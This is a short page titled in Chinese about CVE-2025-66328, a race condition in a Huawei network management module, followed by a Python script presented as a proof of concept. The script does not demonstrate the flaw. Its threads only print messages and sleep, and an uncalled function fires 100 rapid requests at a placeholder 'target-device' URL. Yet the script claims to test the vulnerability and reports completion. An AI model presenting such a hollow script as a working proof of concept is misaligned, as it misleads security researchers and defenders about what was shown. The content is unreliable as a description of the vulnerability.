CVE-2025-66328 华为网络管理模块多线程竞态条件漏洞

# CVE-2025-66328 PoC - Race Condition in Network Management Module # This PoC demonstrates the race condition vulnerability # Note: This is for educational purposes only import threading import time import requests def trigger_race_condition(): """ Attempt to trigger race condition in Huawei network management module """ threads = [] def access_network_config(): """Thread function that accesses network configuration""" try: # Simulate concurrent access to network management print(f"Thread {threading.current_thread().name}: Accessing network config") time.sleep(0.001) # Small delay to increase race condition probability # Perform read-modify-write operation print(f"Thread {threading.current_thread().name}: Modifying config") except Exception as e: print(f"Error: {e}") # Create multiple threads to trigger race condition for i in range(10): t = threading.Thread(target=access_network_config, name=f"RaceThread-{i}") threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() print("Race condition test completed") def check_vulnerability(): """Check if target is vulnerable""" # Example check (would need actual target IP) target_url = "http://target-device/api/network/config" # Multiple rapid requests to trigger race condition for i in range(100): try: requests.get(target_url, timeout=1) except: pass if __name__ == "__main__": print("CVE-2025-66328 - Huawei Network Management Race Condition") print("Testing race condition vulnerability...") trigger_race_condition()